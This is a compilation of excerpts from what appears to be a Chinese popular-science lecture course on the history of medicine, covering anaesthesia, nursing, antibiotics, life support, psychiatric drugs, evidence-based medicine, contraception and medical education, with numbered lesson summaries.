  1. 静脉补液诞生于霍乱，它是一个新的能量投放系统。
  2. 新技术的发展，就是一个不断打开新思路的过程。

　　200 多年前，人们要是得了必须做手术的病，比如截肢、胃穿孔，要么等死，要么就得忍着疼做手术。

　　医生怎么做呢？

　　要么让病人喝醉了再上手术台，要么就一棍子打晕病人，然后把病人捆在手术台上，还得找三五个大汉把人按住。这个时候，医生赶紧开刀，速战速决。

　　病人为了活命就得疼，医生为了救命就得快。

　　据说，当时俄国一个医生可以在三分钟锯断大腿，半分钟切掉乳房；法国一个医生可以在 24 小时给 200 个病人截肢。

　　当时手术最快的人，要数英国医生罗伯特·李斯顿（Robert Liston）。他能在 28 秒内，截掉一条腿。人称“小李飞刀”。

　　人类医学史上唯一一台死亡率 300%的手术。故事的主角就是刚才提到的“小李飞刀”——李斯顿医生。

　　1842 年，李斯顿在做一台截肢手术的时候，手起刀落砍下了病人的一条大腿。但是，现场同时响起了三个人的惨叫。

　　因为砍得太快了，他不仅切掉了病人的腿，还把助手的两根手指头，和一个围观的男性群众的要害都切了。

　　后来，截肢的病人、被砍掉手指的助手、还有那个倒霉的观众，相继因为出血和感染死了。一刀三命，这台手术也成了医学史上死亡率最高的手术。

　　但是，我必须为李斯顿医生说句话。他可不是庸医，实际上，他是那个时代最优秀的外科医生之一。

　　只能说，这台手术是那个时代医学局限性的缩影。

　　就是因为疼，手术必须做得快。那么肯定不细致，导致死亡率高。当时外科大手术的死亡率超过 70%。

　　麻醉是怎么出现的呢？

　　19 世纪初的时候，美国上层社会有一种时尚，就是在聚会的时候吸笑气。笑气的化学名称是一氧化二氮。

　　吸了笑气的人特别亢奋，会哈哈大笑，所以它叫做笑气。当时的人们吸这个东西，就是为了玩得更嗨。

　　有个细节，就是人吸了笑气以后，哪怕磕得鼻青脸肿也不会觉得疼。

　　1842 年 3 月 30 日，这是人类医学史上，值得被牢牢记住的一天。

　　这天，朗医生给病人吸入乙醚，成功地进行了世界上第一台麻醉手术。病人不仅没死，而且还不疼。从这天开始，医学进入了“不疼的时代”。

　　3 月 30 日也被定为“国际医生节”，就是为了纪念麻醉给医学带来的巨大改变。

　　麻醉不仅保障了外科手术的发展，而且让手术过程更安全。麻醉医生是负责手术安全的第一责任人。

　　一台全麻手术，不仅要保证病人在手术过程中不疼、不动，还要做到不知。这是从心理层面关心病人。

　　如果病人可以感知手术场景，以后就会出现心理创伤。

  1. 疼，阻碍了外科手术的发展。
  2. 不疼，带来了复杂、精细的外科手术，还带来了其他治疗技术的发展。
  3. 不疼，体现了医学伟大的人道主义关怀。

　　其实，想知道护理的重要很简单。那就看看，有护理和没护理有什么区别。

　　我找到了一个数据。这就是 1854 年克里米亚战争中，英军伤员死亡率对比。

　　当时，英军有军医，但是没有专业的护士，伤员死亡率在 42%以上。

　　有了专业护理以后，伤员死亡率一下子降到 2.2%。也就是说，没护理以前 100 个伤员要死 40 多个，有了护理，只有 2 个死亡。

　　创造这个奇迹的人就是南丁格尔。

　　病人来医院看病，不仅希望治好病，同时，更希望被尊重、被理解、被体贴。这种体验决定了病人的信任度和满意度。

　　比如你去医院打针，护士带着口罩进来了，啥也不说，“咣当”把门一关。你的恐惧肯定一下子就冲上头顶，紧张得不行。

　　所以，一个有经验的护士会笑着先说一句，“为了您的隐私，咱们把门关上好不好？”。

　　这么一句话会让你的感受立刻不一样。这就是体验。

　　2005 年，美国发生过一起医疗事故。

　　一位有经验的外科医生在给病人做手术的时候，病人突然呼吸停止。

　　这个时候，医生必须赶紧停止手术，立刻给病人气管插上管，这样才能保证呼吸，才能让各个器官不缺氧，才能救命。

　　但是，这个病人气管插管非常困难。

　　医生多次尝试都失败了。其实，这个时候最好的办法是别插了，赶紧把气管切开。气管切开同样能供上氧，防止窒息。

　　但是在这个病例中，尽管有人提醒，但是这个医生还是反复尝试插管。最终，他错过了最佳时机，病人因为缺氧变成植物人了。

　　这么有经验的医生犯了这种错误，是他不知道后果吗？他肯定知道。

　　但是在紧急情况下，过多地关注在操作上，就会忽略其他的问题，比如时间。大脑能耐受的缺氧时间只有 4-5 分钟，错过了时间就等同于伤害。

　　这通常不是技术问题，有个词叫做“窄化效应”，说的就是这个问题。每个人都有窄化效应，医生也不例外。

　　所以，必须有人对医疗过程进行监督，而且必须根据紧迫程度，不断地发出级别越来越高的警示。这样才能保证流程安全。作出监督和警示的人就是护士。

　　现代医疗制度规定，协作工作时，如果护士没有履行监督的责任，出了问题，医护必须同时接受处分。

  1. 南丁格尔用数据说明了专业化护理的重要性。她开创了现代护理专业。
  2. 护理是一门专业化程度很高的学科。
  3. 护理有三个重要作用：保证医疗质量，体现医疗体验，医疗安全的代言人。
  1. 医学永远面临一个矛盾：活体信息采集与付出代价之间的矛盾。
  2. X 射线大大缩小这个矛盾，它是用最小干预获取信息的新起点。
  3. 只有让 X 射线对人体干预最小，才能让 X 射线技术广泛应用。精准干预 X 射线的能量，又带来疾病治疗的新手段。

　　青霉素就是第一个抗生素。

　　“抗生”的意思，就是一种微生物对另外一种微生物的生长繁殖有抑制或者杀灭作用。一种微生物分泌的，可以抑制或者杀死对方的物质，就是抗生素。

　　所以，用青霉素治疗细菌感染，就是用真菌分泌的物质去杀死细菌，这是巧妙地利用了物种之间天然的竞争关系。

　　这就是青霉素的工作原理，是理解的物种竞争关系的第一个层面：利用物种竞争治疗感染。

　　很多女生受到广告误导，动不动就用含有杀菌剂的洗液冲洗阴道。阴道本身就是一个充满细菌的环境，用洗液就破坏了阴道本身的菌群平衡，反而会引起真菌感染。

　　很多阴道炎，尤其是真菌性阴道炎都与阴道的微生态失调有关。

　　第一，在医生的指导下规范应用，抗生素是好药，不会带来多大的副作用。

　　所以，在严重感染的时候一定要用抗生素，不要排斥。而且要早用，按疗程用。

　　第二，任何感染都不能单纯地“杀”，除了应用抗生素之外，应该鼓励人体的自我防御。

　　我在前面课程里讲过，比如发烧、咳嗽、腹泻，这些都是人体清除细菌的自我防御机制，如果不是过度反应，尽量不要压制。

　　比如，把痰咳出来，就是身体的一种自我防御。很多病情严重的病人没办法自主咳痰，这样就很危险。

　　所以在医院，对于严重的肺炎病人，医生和护士时刻都在鼓励病人咳痰。咳不出来的，医生还会用气管镜吸痰，这些都是在激励人体本来的自我防御机制。

　　危重病人能否战胜疾病的一个重要指标，就是看他是否恢复了有效的咳痰能力。

　　第三，少备抗生素。

　　家里的小药箱，可以备退烧药、感冒药、平时吃的慢性病用药，但是我认为不要准备太多的抗生素。

　　别自己滥用抗生素。

  1. 青霉素的发现虽然是偶然，但它是巧妙地利用了物种之间的竞争关系。
  2. 过度使用抗生素会导致细菌耐药、菌群紊乱、真菌感染。
  3. 正确对待抗生素的态度：感染性疾病必须在医生指导下用药，同时鼓励人体的自我防御机制。

　　如果你问任何一个 ICU 医生，他最拿手的是什么手艺？我相信每个 ICU 医生肯定会说是用呼吸机。

　　呼吸机的出现，代表着现代生命支持技术的发展，它让更多复杂手术和更复杂、更高级的治疗技术得以实现。

　　“魔肺”，它的全称是体外膜肺氧合(extracorporeal membrane oxygenation)，简称 ECMO。

　　“魔肺”代表一个医院、一个地区，甚至一个国家生命支持技术的最高水平。

　　它可以临时替代心脏或肺，或者两者一起替代。优先保证生理状态稳定，先保命。本质仍然是“热”，也就是生命支持，维持一个接近生理的状态。

　　几年前，我们治疗过一个美院学画画的大学生。他因为胃溃疡导致胃穿孔。胃里的食物和胃液流到了腹腔里，带来了严重的感染和休克。

　　外科医生紧急开腹，把这个穿孔修补好，又用大量的生理盐水冲洗腹腔，又给了大量的抗生素治疗感染。

　　手术后，病人转到了 ICU。但是，即便是这么成功的手术，手术后病人还是继发了呼吸衰竭。

　　这个时候必须用呼吸机。

　　咱们正常人呼吸，空气里氧气约占 21%，这个病人要用呼吸机把 100%的纯氧打到肺里，才能维持生命。

　　我记得抢救的第一天晚上，护士脱开呼吸机给他吸痰的时候，这个病人咳嗽了一下，一口血水，顺着气管插管，直接就喷到了天花板上。然后，他的监护仪“嘀嘀嘀”地报警，他的血氧快速下降，心率快速上升。

　　这说明，这个病人的呼吸衰竭到了最危险的地步。

　　你觉得这个病人救治成功的希望有多少呢？

　　他的父母问我：“孩子还有没有好的可能？”

　　我说：“病情确实太重了，这个时候呼吸机是保命。然后给他时间，慢慢修复。”

　　第 7 天，这个病人的病情果然好转，他脱离了呼吸机，拔了气管插管，转到外科继续治疗去了。

　　后来，我还见过这个孩子，他毕业后回了老家大连工作，没有遗留下一点健康问题。

　　有的免疫细胞专门负责识别，比如 DC 细胞。有的专门负责杀伤，比如 T 细胞。这两种细胞是盟友。

　　发现 DC 细胞的人叫拉尔夫·斯坦曼（Ralph Marvin Steinman），他是美国洛克菲勒大学免疫中心的博士。

　　但是很不幸，在 2007 年，也就是斯坦曼发现 DC 细胞 34 年以后，他自己得了晚期胰腺癌。

　　一般来说，晚期胰腺癌患者如果失去了手术机会，存活时间平均不到一年。

　　但是，斯坦曼博士用他自己做了一个试验。他用自身的 DC 细胞和癌细胞，制备癌症疫苗来治疗自己的晚期胰腺癌。

　　结果是他活了四年半，这个生存期，是这类晚期病人的 4-10 倍左右。

　　2011 年 9 月 30 号，斯坦曼去世。

　　10 月 3 号，也就是他去世三天后，诺贝尔委员会公布，由于斯坦曼对人体免疫学的贡献，决定把 2011 年诺贝尔生理学或医学奖颁给他。他到最后也没能等到这个好消息。

　　其实，就在斯坦曼去世前几天，他还在和女儿开玩笑说 ，“为了获得诺贝尔奖我也得坚持活下来，因为他们从不给逝者授奖”。

　　但是这一次，诺奖委员会为他破了例。

  1. 科利医生为癌症免疫疗法作出了初步尝试。
  2. 斯坦曼告诉我们，要想杀“敌”，就要首先认出“敌人”。
  3. 癌症免疫疗法的工作原理是，从外部干预，转为增强内力。内力就是人体免疫。
  4. 切尔诺贝利核电站爆炸后的恢复告诉我们，要对自身的修复保持信心。人体免疫就是伟大的自我修复能力。

　　在你眼里，是不是每年的诺贝尔生理学或医学奖，都代表了医学的伟大进步呢？

　　那你知道有一年的诺奖发错了吗？

　　直到今天，这个奖项都被看成是诺奖历史上最大的耻辱。

　　这就是 1949 年的诺贝尔奖。颁给了一位医生，他发明了用切除病人的前脑叶来治疗精神病的方法。

　　前脑叶就是大脑的额叶，额叶负责我们复杂的认知行为。比如记忆、思考、决策、表达等等。用手术破坏额叶，精神病病人的狂躁和幻觉自然也就消失了，病人也就不闹了。

　　这个手术之所以在当时被错误地颁了奖，是因为在它以前，医学对于精神疾病的研究进展几乎是 0。任何一点有可能的希望都让大家振奋，即使是一种今天看起来惨无人道的外科手术。

　　别看这种手术残忍，这在当时可是有钱人才能做的手术。没钱的人就只能被关在疯人院，给他们戴上手铐脚镣，或者捆起来。最“人道”的方法，是把病人关在阴暗、狭小、肮脏的地下室里，让他自生自灭。

　　1949 年，法国的一位军医亨利·拉伯里特（Henri Laborit）一直都想找一种抗休克的好药。

　　他找到了一种药，但是这个药抗休克的效果并不好。

　　受了重伤的人会焦躁不安，拉伯里特给他们用了药以后，发现这些人居然都安静下来了。他想，这个药是不是可以改变人的精神状态呢？

　　拉伯里特立刻把这个发现发表了出来。放到今天，这样的文章可能直接就被编辑扔了。因为他只写了观察到的现象，全文连靠谱的数据都没有。

　　但是在当时，还真的有制药公司相信了。这个公司加紧研发，很快就在拉伯里特用的药基础上，改良出一种新药。毒性更小，作用更强，这就是氯丙嗪。

　　1952 年，医生把这个药用在一个躁狂症的病人身上，这个病人的症状很快就消失了。吃了一段时间后，他的行为甚至接近正常人了。

　　又过了 1 年，氯丙嗪在法国上市。1954 年，氯丙嗪在美国上市。10 年后，全世界有大约 5000 万的精神病病人用上了氯丙嗪治疗。

　　大量病人的症状得到了缓解，其中很多病人甚至可以恢复社会功能，自力更生。得了精神病的人不一定非得住院，很多人在家吃药就能控制症状。

　　1957 年，人类研发出第一个抗抑郁药。

　　《2014 年全球精神疾病药物研发报告》称，目前全球生物制药公司在研的精神疾病药物共有 119 种。其中，精神分裂症药物 36 个、抑郁症药物 29 个、注意力缺陷障碍和多动症药物 15 个、抗焦虑药物 15 个、自闭症药物 6 个。

  1. 精神和肉体不是两个完全独立存在的东西。
  2. 从控制因果，到阻断因果链条，这是医学对疾病认知的进步。
  3. 氯丙嗪是科学的人道主义。

　　脑死亡作为死亡诊断的第二个原因是：医学无法逆转脑死亡。

　　植物人和脑死亡的区别，用一句话说，就是生和死的区别。

　　植物人是活人，依然有救治的价值，也许有一天会出现奇迹，植物人有苏醒的可能。但是脑死亡，是人已经死亡了，永远不会有奇迹。

　　从生理角度上看，脑死亡的时候，所有大脑功能都消失了，没有任何反射，没有自主呼吸，也没有瞳孔反射。脑电图是一条直线，也就是说没有任何大脑活动的痕迹了。

　　但是植物人不同，植物人的脑干功能还在。

　　脑干是负责心跳和呼吸的中枢，所以，植物人可以有自主呼吸、心跳和神经反射，还会有无意识的睁眼；甚至可以有吸吮，躲避疼痛这些基础的反射。

　　而且，植物人的脑电图也不是一条直线，会有一些杂乱波形，这说明大脑皮层仍然有一些凌乱的电活动。

  1. 脑死亡作为死亡的诊断标准更科学。
  2. 脑死亡与植物人的区别，是生与死的区别。
  3. 脑死亡诊断标准具有一定的价值和意义。

　　你可能知道，世界头号对冲基金——桥水基金（Bridgewater Associates）的创始人雷伊·达里奥（Ray Dalio），有人说他是对冲基金“教父”，“投资界的乔布斯”，有人说他对经济的分析比美联储都准。

　　就这样一个聪明人，他得病了。

　　几年前，达里奥发现自己食管出问题了。他人脉广，找到了约翰·霍普金斯大学医学院的专家。专家认为这个病没有好办法，只能观察。但是以后可能会癌变，也就是变成食管癌。

　　达里奥不放心，又找了另外一个专家。这个专家的观点完全不一样。

　　他认为应该手术切除，避免以后癌变，而且手术的成功率是 90%。

　　同样的病，两个专家的意见差别也太大了。一个建议观察，一个建议手术。

　　达里奥拿不定主意，于是把两个医生叫到一起当面分析。结果还是各有各的理由。

　　那怎么办呢？

　　这难不住达里奥，他又找了第三个专家。这个专家意见又不一样了，他认为问题不大，每三个月复查一次就可以了。

　　现在又出现了第三种方案。

　　接下来，达里奥又找了第四个、第五个专家。这两个人的建议和第三个专家说的大概一致，但是他们建议先做个活检。也就是从食管上取一块组织，在显微镜下看看到底是什么。

　　既然，后面这三个专家意见大体一致，达里奥决定做个活检。几天后结果出来了，虚惊一场。

　　循证医学的定义是，用当前能获得的最好的研究证据，结合医生的专业技能和经验，并且考虑病人的价值和愿望，把这三者结合起来给病人制定治疗方案。

　　所以，循证医学就是证据+经验+患者意愿，最重要的是证据。证据为王。

　　但也不是抛弃医生的经验，而是像达里奥那样，综合评价所有医生的可靠经验，制定出最好的治疗决策。这套方法就是循证医学。

　　循证医学是医学实践中的人类基因组计划。——《柳叶刀》

　　 循证医学是八十个震荡世界的伟大思想之一。——《纽约时报》

　　循证医学将彻底改变 21 世纪的医学实践模式。——《华盛顿邮报》

　　随机对照研究得到的证据就是二级证据。能够拿出二级证据的医生就非常靠谱了。甚至 FDA（美国食品药品监督管理局）进行新药审评的时候，就看随机对照试验的结果。

　　讲完了二级证据，一级证据就容易理解了。

　　刚才提到，二级证据很牛，但是有可能受到地区、人种、卫生情况等因素的影响。比如，有可能中国人适合拔牙正畸，但是这个经验放到美国未必可行。

　　那怎么办呢？

　　这就要讲到第一级证据，称为 Meta 分析（荟萃分析）。

　　也就是把全世界发表的随机对照研究都拿过来，用一套科学的方法进行客观评价，得出的结论就更可靠了。

　　这就是一级证据，它是级别最高的证据。

　　2018 年 6 月 30 日，北京国际会议中心，一群顶级医生和人工智能展开了一场大战。考试题目：神经影像学。

　　也就是让最牛的医生和电脑比赛，读脑部核磁共振或者 CT 片子。

　　首先是比速度。当然是电脑更快，而且比人快了 30 倍以上。

　　那正确率呢？

　　我们可能认为在看片子或者其他复杂资料的时候，医生的经验太重要了。慢没关系，一定会带来准。

　　但是，结果出乎意料。

　　这些顶级医生的准确率是 66%，而人工智能的准确率达到了 87%，完胜这些全中国顶级医院的顶级医生。

　　大家都说，这是人工智能战胜了医生。

　　作为医生，我服。

　　但是你一定没想到，人工智能算法的基础，就是综合利用了现阶段医学能够得到的最好资料和证据。所以，它才战胜了医生的个人经验。

　　看似是人工智能战胜了医生，其实，人工智能的基础就是循证医学。是循证医学战胜了个人经验。

  1. 综合现阶段能够获得的全部证据，才能得出最佳治疗方案。
  2. 循证医学就是证据+医生经验+患者意愿，核心是证据。
  3. 循证医学的五级证据依次是：个人经验，前后对比，对照研究，随机对照，荟萃分析。

　　人是地球上唯一一种不以繁衍为主要目的，而进行性交的物种。但是，性交又很难和繁衍分割。所以，女性参与性活动的代价远远大于男性。

　　首先是过度生育问题，这会让女性没办法工作，依附于男性。另外，生产过程有风险，还会带来疾病、死亡、贫穷。随之而来的是，社会负担也会过重。

　　其次，意外怀孕又带来了堕胎问题和身体伤害问题。

　　避孕药，就是用医疗的形式解决了这两个问题。它是药的升级，它的主要目的不是治病，而是用药的形式把女人的身体还给女人。

　　权威期刊《英国医学杂志》（The BMJ ）把避孕药评为医学的 15 个里程碑之一，和抗生素、疫苗、DNA 的发现并驾齐驱。

　　《经济学人》（The Economist ）把避孕药看做 20 世纪最重要的科学进步之一。

　　在西方，女性通过常规服用口服避孕药来避孕的比例是 30%-50%，而在中国，只有 2.3%。口服避孕药是被误解最深的药。

　　避孕是刚需。在没有避孕药具的年代，人们用了各种“神奇”的招数来避孕。

　　比如：

　　把柠檬切一半挖空，塞到阴道里； 用羊的盲肠来当避孕套； 喝水银。

　　20 世纪 60 年代，即便是在避孕药的“娘家”美国，人们也不能谈避孕，谈避孕违法。

　　当时的人们认为，有了避孕的东西会让人变淫荡，会增加偷情的概率。而且有的信仰认为，避孕违背自然法则。

　　这才是掩耳盗铃。道德问题和避孕有什么因果关系呢？

　　但是，就有这么一个草台班子，敢冒天下之大不韪研发避孕药。这个团队有三个人。

　　第一位，是坚决推广女性避孕的社会改革家——桑格（Margaret Sanger）。她的母亲在怀孕第 18 次的时候去世，她目睹了反复生育给女人带来的痛苦。桑格负责宣传。

　　第二位，原本是哈佛大学的天才——平克斯（Gregory Goodwin Pincus）。他给兔子做体外受精，试验成功了，他却被开除了，理由是亵渎生命。平克斯负责动物试验。

　　第三位，是妇科医生——洛克（John Rock）。他负责临床试验。严格的临床试验，是药品申报必不可少的环节。

　　这个团队虽然小，但是分工明确。最关键的是，一旦避孕药研发成功，在未来必将产生巨大收益。

　　收益是什么呢？就是把女人的身体还给女人。

　　有痛点，有团队，还有巨大的未来收益。这个时候，投资人出现了。是一个非常有钱的女人——凯瑟琳（Kathryn McCormick），她是国际收割机公司的老板娘。

　　凯瑟琳有钱，但是不幸。她的老公是精神分裂症不适合生育，所以，她也坚定不移地赞成科学避孕。

　　研发过程很曲折，但是结果成功了。1957 年，避孕药通过了全世界药品审批最严格的 FDA（美国食品药品监督管理局）。

　　FDA 耍了个小花招。

　　因为当时的社会不让谈避孕，所以，FDA 把这个药审批成治疗月经不调。在药品说明书里注明，副作用是阻止排卵。不排卵不就等于避孕吗？

　　FDA 是在科学的外表下，表达人文。

　　药一上市，几十万女性来开药，很多人都说自己月经不调。显然，她们是奔着这个药的副作用，也就是避孕来的。

　　1960 年，美国 FDA 重新把这个药审批成避孕药。

　　口服避孕药的作用可不仅仅是避孕，还能治病。

　　它对于痤疮、功能性子宫出血的治疗效果都很好。有研究表明，对于子宫内膜异位症引起的痛经，口服避孕药缓解疼痛有效率在 79.7%。

　　对于不孕症的病人，口服避孕药甚至可以辅助怀孕。

　　比如多囊卵巢综合征，就是因为激素水平紊乱导致不孕。

　　口服避孕药可以调整月经，等到月经调整完毕后，需要怀孕的时候再用其他药物诱发排卵。这样，很多女生就可以成功怀孕了。

　　口服避孕药还能用于人工控制月经。

　　在一些特殊时期比如高考、比赛、游泳，这个时候用避孕药人为地控制女性月经，让它错开这几天，过几天再来。

　　另外，现有研究证据表明，口服避孕药对于减少某些妇科癌症还具有一定作用，长期服用可以让子宫内膜癌的风险降低 50%，让卵巢癌的风险降低 40%。

　　而且即使停药后，保护作用还会持续很久。

　　口服避孕药只用于避孕是不对的，这是对它的第一个误解。

　　第二个误解，就是认为它是激素，会带来副作用，会让人变胖。

　　其实，今天说的口服避孕药是雌激素和孕激素的合剂，这和临床上引起发胖的糖皮质激素是两码事。

　　少数病人在服用早期可能出现轻度水肿和体重增加，但是非常轻微。持续服用，这种作用也就越来越小了。

　　还有人认为，避孕药会影响要孩子，这就更是误会了。实际上，这个月停药，下个月就可以正常怀孕了。

　　但是，口服避孕药也有副作用，它最大的副作用是增加了静脉血栓的机会。所以，35 岁以上，吸烟或有心脑血管病的女性，不推荐用口服避孕药。

　　关于避孕药的第三个误解，就是把口服避孕药和紧急避孕药弄混。

　　有的女性不敢吃口服避孕药，但是却不拒绝紧急避孕药。有药店统计，每年情人节过后，紧急避孕药的销量都会增加 50%。

　　要知道，口服避孕药和紧急避孕药是两码事。

　　口服避孕药主要是通过抑制排卵，防止怀孕，副作用很小。而紧急避孕药是阻止受精卵着床，副作用远远大于口服避孕药。

　　根据统计，在世界范围内，80%的孕产妇死亡是发生在生孩子这个过程中的，主要死因是严重的大出血、感染、妊娠高血压，还有难产。

　　根据统计，建国初期我国孕产妇死亡率是每 10 万人死亡 1500 人，在 2018 年这个数字是每 10 万人死亡 18.3 人，大约下降了 99%。

　　冻卵技术就是一种“后悔药”。这同样是把女性身体的自主权还给了女性。

　　根据网络报道，苹果、Facebook、携程公司，都相继出台了给女高管报销冻卵费用的政策，还推出带薪年假等措施，目的都是鼓励女性员工先为事业奋斗。

　　冻卵技术就是把卵子取出来以后，放到保护液里，立刻投入零下 196℃的液氮里保存起来。

　　就像瞬间被封存到了玻璃里面，所以也叫玻璃化冷冻。需要的时候，再取出来复原就可以用了。

　　当前的医疗技术，还没办法保证冷冻卵子 100%能够复原、受孕。而且按照国际惯例，保存期也不超过 5 年。

　　美国冻卵受孕成功率最高的机构，是在新泽西州的一家辅助生殖中心，根据那里的数据显示，冻卵复原后成功怀孕的比例，最高可以达到 61.3%。前提是必须在 35 岁之前冷冻，如果超过 40 岁再冻卵，这个成功比例就会降低到 44.6%。

  1. 口服避孕药，让生育和性爱分割。
  2. 专业助产技术，让生育和死亡分割。
  3. 冻卵技术，让生育和年龄分割。

　　你对桑卡不了解，但你一定还记得咱们讲过的“基因修复机制”，也就是人体基因会突变，为了自我保护，人体就会自动修复突变。这个机制在研究衰老、癌症和遗传病方面都有巨大的价值。

　　桑卡就是发现这个机制的关键人物之一。

　　有这么突出的贡献，所有人都觉得他肯定能得诺贝尔生理学或医学奖。

　　2015 年 10 月 5 日，诺贝尔生理学或医学奖隆重公布，把奖颁发给中国科学家屠呦呦，以及另外两名外国的科学家，表彰他们在寄生虫治疗领域做出的贡献。根本没提名桑卡。

　　太让人失望了。

　　两天后，也就是 10 月 7 日凌晨 5 点，桑卡的妻子接到一个电话，然后对桑卡说，这个电话非常重要，要他亲自接。

　　接到这个电话，桑卡说话都变得语无伦次了。原来是诺贝尔化学奖委员会打来的电话：“桑卡教授，祝贺你，得了今年的诺贝尔化学奖。”

　　近 20 年，75%的诺贝尔生理学或医学奖，颁给了基因和分子层面的微观研究。

　　比如，人体生物钟的分子机制，证实只有顺应生物节律，别熬夜，才能保持健康的体魄。

　　再比如，染色体和端粒的研究，证实人类的寿命极限是“写”在染色体上的。

  1. 所有自然科学的进步，都终将为医学所用。
  2. 基础研究是地基，临床项目是应用。基础越扎实，临床就越可靠。
  3. 微观是宏观的基础，医学研究越深入越微观，也就为认知和治愈疾病带来了无限可能。

　　科学不发达的以前，巫和医是不分的。巫师也从事给人看病的事，医生也用一些巫术治病。这种状况一直持续到公元前 5 世纪。

　　医学作为一门职业，诞生有三个标志：

  1. 疾病观形成；
  2. 治疗技术出现；
  3. 行业规则确立。

　　在西方很多国家，医学生入学或者毕业即将开始职业生涯的时候，要宣读《希波克拉底誓言》。

  1. 希波克拉底废巫立医，他被称为“西方医学之父”。
  2. 医生作为一门独立职业诞生的标志有三个：疾病观形成，医学技术出现，行业规则确立。
  3. 《希波克拉底誓言》强调行业自律，它成为医生的行业准则和道德规范。

　　奠定现代医学教育基础，用实践理念去培养年轻医生的人，就是这节课要说的医学教育家——威廉·奥斯勒医生。他被称为“现代医学之父”。

　　奥斯勒的名字可能你不熟悉。那你一定听说过美国的约翰·霍普金斯大学医学院，这是全世界最好的医学院之一，我们课程顾问团的任添华医生和冯雪医生，都在这个学校学习过。

　　约翰·霍普金斯有多牛呢？

　　它曾经连续 22 年蝉联全美医学院排名第一。它有 17 位诺贝尔生理学或医学奖获得者，16 位美国科学院院士。

　　奥斯勒医生就是这个医学院的奠基人之一。这个学校的教育模式，就是源于奥斯勒的设想。

　　拿咱们国家来说，医学生从医学院毕业之后，要想当医生，先要在国家规定的、具有培训资格的大医院进行三年的住院医师规范化培训。

　　在美国，内科系统要培训 3-5 年，外科系统要培训 5-7 年。

　　这个结节位置很深，如果长在肺的边缘，很多医生都可以穿刺成功。

　　但是这个结节长在肺内非常深的位置，而且最难的是，它不仅会随着呼吸移动，它还紧邻主动脉。穿刺的时候，如果病人剧烈咳嗽，或者医生的手稍微一抖，那么你肯定知道结局。

　　理论上需要穿刺，但是现实中找谁操作呢？

　　这个时候，任何理论都只能是基础了，必须寻找一个有丰富的实践经验，并且能够安全穿刺的医生。

　　这个 61 岁的病人到北京大学肿瘤医院找到了柳晨医生。医学界有人把柳晨称为“中国穿刺第一针”、“针尖上的战神”，只要是影像上能看到的结节，柳晨就能穿刺。

　　他实习在北大医院，毕业后到北京大学第三医院做放射科医生。他几年内读过几万张影像学片子，每天不断地实践。每一个结节在穿刺之前，他都能立刻在大脑中构建出这个结节的三维空间位置、结构，以及穿刺路径。

　　实践让他的治疗技术不断提高。后来，他被人才引进到北京大学肿瘤医院介入治疗科。他一天都没有离开过临床，没有离开过实践。

　　柳晨医生经常对其他医生说，“穿刺靠的是实践，靠的是在大脑中本能形成的三维立体图像，靠的是“空间感”和“针感”，也就是穿刺过程中穿刺针穿过不同组织，传递到手心的感觉。”

　　病人躺在手术台上，柳晨认真地叮嘱了病人，“千万别咳嗽，你坚持一下，我一定帮你穿刺成功。”

　　在 CT 引导下，柳晨慢慢进针，针尖逐步深入，就像带了一个导航一样，准确无误地刺进了这个几乎没人敢穿刺的小结节里。

  1. 奥斯勒创立了以实践为核心的医学教育制度。
  2. 实践可以架起理论和诊断、治疗之间的桥梁。
  3. 实践是临床医学的核心理念。

　　接下来，他和手术室的护士搞好关系，谈他想做的这件事有多伟大，他说：“咱俩偷着干行不行，我用你的手术室，你让我拿你做试验。”这个护士鬼使神差地答应了。

　　于是，两人悄悄地溜进手术室，福斯曼把护士捆在了手术台上。护士闭上眼睛，等着福斯曼切开她的血管。

　　但是，当她睁开眼睛时，却发现福斯曼躺在另一个手术台上，用刀切开了他自己胳膊上的血管。

　　原来福斯曼说用护士做试验是假，用她的手术室才是真。福斯曼说：“这个事可能会死人，我先试我自己。”

　　在护士的哭声中，福斯曼小心翼翼地把一根管子慢慢地逆着自己胳膊上的静脉血管往里插。当他插到 65 厘米的时候，护士带着他拍了一张 X 光片。

　　20 世纪中期，美国妇产科男医生马斯特斯（William Howell Masters）要研究性高潮。

　　马斯特斯先研究自己，研究女朋友的身体。后来，他给志愿者身上贴电极片，绑上血压袖带，连上监测的仪器，记录性爱过程中的心率、呼吸、血压这些数据变化。

　　为了观察女性性器官的变化，他还在女性自慰器上装上微型摄像头，记录自慰过程中阴道壁的变化。

　　最后，他完成了 382 名女性和 312 名男性的性行为观察，记录了上万次的性高潮。

　　马斯特斯利用科学的生理数据，从心率、血压、呼吸各个角度，验证了什么是高潮。

  1. 凡是科学问题，凡是对病人有益的，尽管是禁区，都需要有人探索。
  2. 医学探索面临三个困境：技术规范困境，伦理规范困境，特殊情况下的现实困境。
  3. 对特殊的现实困境制定特殊政策，是医学科学和人文的体现。

　　1850 年，塞医生在集体会议上宣布他的发现。但是，他等来的不是欢呼，而是攻击。

　　他写了文章却一直不被发表。后来，好不容易发表了，也并没有在医学界引起大家的关注。再后来塞医生丢了工作，出现抑郁，因为精神失常被送进了精神病院。再后来，他被精神病院的保安用棍棒打死，享年 47 岁。

　　1543 年，意大利帕多瓦大学的维萨里（Andreas Vesalius）发表《人体的构造》（De humani corporis fabrica ），标志着现代解剖学诞生；

　　1761 年，意大利解剖学家莫尔加尼（Giovanni Battista Morgagni）发表《病灶与病因》（De Sedibus et Causis Morborum per Anatomen Indagatis ），建立了病理解剖学；

　　后来，人类有了显微镜，在放大 400 倍之后看到了细菌轮廓，放大到 1000 倍以后看到了清晰的细菌形态；

　　再后来，巴斯德（Louis Pasteur）和李斯特（Joseph Lister）奠定了微生物理论，证明了细菌可以传染疾病，严格的消毒和防护制度，可以有效避免交叉感染。

　　只有整体认知提高，才是解决无知之错的终极方案。

  1. 无知之错是没有掌握正确的知识，导致犯错误。
  2. 科学方法，可以有效地发现体系的无知之错。
  3. 提高认知水平，是解决无知之错的根本方法。

　　1911 年 3 月 1 日，当鼠疫死亡人数零报告的时候，防疫总部内一片沸腾。这是人类历史上第一次依靠科学手段，在人口密集的大城市成功控制传染病的典范。

　　这次鼠疫牺牲了 6 万人的生命，但是在当时的中国，这已经是个奇迹了。要知道欧洲三年鼠疫，牺牲了 2500 万人。

　　一个月后，“万国鼠疫研究会”在奉天（沈阳）召开，11 个国家的代表出席大会，伍连徳任大会主席。这是中国历史上在本土举办的第一次真正意义上的世界学术会议。伍连徳以发现肺鼠疫，战胜鼠疫，扬名天下。

　　1937 年，日本侵华战争爆发，伍连徳在上海的家被炸毁，他回到马来西亚。1960 年 1 月 21 日，伍连徳因为心脏病去世。

